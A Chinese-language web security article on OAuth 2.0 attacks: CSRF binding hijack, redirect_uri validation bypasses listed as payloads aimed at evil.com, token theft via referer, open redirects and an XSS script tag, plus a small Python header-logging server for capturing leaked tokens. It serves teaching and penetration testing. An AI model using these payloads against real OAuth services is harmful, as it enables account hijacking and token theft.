OAuth流程
本文以两种广泛使用的方案为标准展开。
如对流程不了解,请先移步学习:理解OAuth 2.0
Authorization Code
response_type = code
redirect_uri
scope
client_id
state
Implicit
response_type = token
redirect_uri
scope
client_id
state
攻击面
(1).CSRF导致绑定劫持
(2).redirect_uri绕过导致授权劫持
(3).scope越权访问
绑定劫持
攻击者抓取认证请求构造恶意url,并诱骗已经登录的网用户点击(比如通过邮件或者QQ等方式).认证成功后用户的账号会同攻击者的账号绑定到一起。
OAuth 2.0提供了state参数用于防御CSRF。认证服务器在接收到的state参数按原样返回给redirect_uri,客户端收到该参数并验证与之前生成的值是否一致。除此方法外也可使用传统的CSRF防御方案。
案例:人人网-百度OAuth 2.0 redirect_uir CSRF 漏洞
授权劫持
根据OAuth的认证流程,用户授权凭证会由服务器转发到redirect_uri对应的地址,如果攻击者伪造redirect_uri为自己的地址,然后诱导用户发送该请求,之后获取的凭证就会发送给攻击者伪造的回调地址。攻击者使用该凭证即可登录用户账号,造成授权劫持。
正常情况下,为了防止该情况出现,认证服务器会验证自己的client_id与回调地址是否对应。常见的方法是验证回调地址的主域,涉及到的突破方式与CSRF如出一辙:
未验证
(1) 未验证的情况,可以直接跳出外域。
验证绕过
- auth.app.com.evil.com
- evil.com?auth.app.com
- evil.com?@auth.app.com 案例:腾讯OAuth平台 redirect_uri 过滤不严可能导致用户信息遭窃取(二)
- auth.app.com@evil.com 案例:绕过网易oauth认证的redirect_uri限制劫持帐号token
- auth.app.com\@evil.com 案例:腾讯OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取(四)
- evil.com\auth.app.com
- evil.com:\auth.app.com
- evil.com\.auth.app.com 案例:腾讯OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取
- evil.com:\@auth.app.com 案例:新浪微博OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取
- 宽字符绕过 案例: 腾讯OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取(三)
子域可控
(1) 对回调地址验证了主域为app.com,但其子域evil.app.com可被任意用户注册使用。
跨域
(1) 利用可信域的url跳转从referer偷取token
如果网站存在一个任意url跳转漏洞,可利用该漏洞构造一下向量
redirect_uri=http://auth.app.com/redirect.php?url=http://evil.com
认证服务器将凭证通过GET方法发送到redirect.php,这时redirect.php执行跳转,访问http://evil.com,攻击者为evil.com记录日志,并从请求头中的referer字段提取出该凭证,即可通过该凭证进行授权登录。
(2)利用跨域请求从referer偷取token
在我们不能绕过redirect_uri的判断规则时,我们可以使利用跨域请求从referer中偷取token。
例1 redirect_uri限制为app.com,然而app.com/article/1.html中允许用户发表文章,在文章中嵌入来自evil.com的外部图片。这时我们可以让redirect_uri指向该文章app.com/article/1.html,当该文章被访问时,会自动获取evil.com/test.jpg,这时攻击者即可从请求头的referer拿到token
例2 利用XSS实现跨域
redirect_uri=http://app.com/ajax/cat.html?callback=<script src="http://evil.com?getToken.php"></script>
越权访问
这个案例展示了scope权限控制不当带来的安全风险,同时将授权劫持的几个方面演绎的淋漓尽致。
辅助验证脚本
一个简易服务器,会记录来访者的请求头。
1.python picserver.py【可选端口号】
2.打开浏览器访问图片或页面地址
3.查看日志
4.清除日志
import BaseHTTPServer
import datetime
import sys
import os
SERVER = '0.0.0.0'
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 2333
LOG_PATH = 'reqlog.txt'
class WebRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
if '.png' in self.path:
print self.path
fname = '1.png'
elif '.jpg' in self.path:
fname = '1.jpg'
elif '.gif' in self.path:
fname = '1.gif'
elif '.html' in self.path:
fname = 'index.html'
elif 'clear' in self.path:
os.remove(LOG_PATH)
self.send_response(200)
self.end_headers()
self.wfile.write('ok')
return
else:
self.send_response(200)
self.end_headers()
try:
self.wfile.write(open(LOG_PATH, 'r').read())
except IOError:
print '[*]Create logfile: ' + LOG_PATH
return
message_parts = ['<br>===== [%s] %s =====' % (self.path, datetime.datetime.today())]
for name, value in sorted(self.headers.items()):
message_parts.append('%s: %s' % (name, value.strip()))
message = '<br>'.join(message_parts) + '<br>'
with open(LOG_PATH, 'a') as f:
f.write(message)
self.send_response(200)
self.end_headers()
self.wfile.write(open(fname, 'rb').read())
print '[*]Starting server at %s:%d' % (SERVER, PORT)
server = BaseHTTPServer.HTTPServer((SERVER, PORT), WebRequestHandler)
server.serve_forever()
效果:
参考
- 理解OAuth 2.0 - 阮一峰
- 从“黑掉Github”学Web安全开发 - 陈皓
- 知乎网站安全渗透测试报告 - CplusHua
- 利用OAuth劫持用户身份(Kcon 2014) - 蓝色di雪球
- 乌云已公开漏洞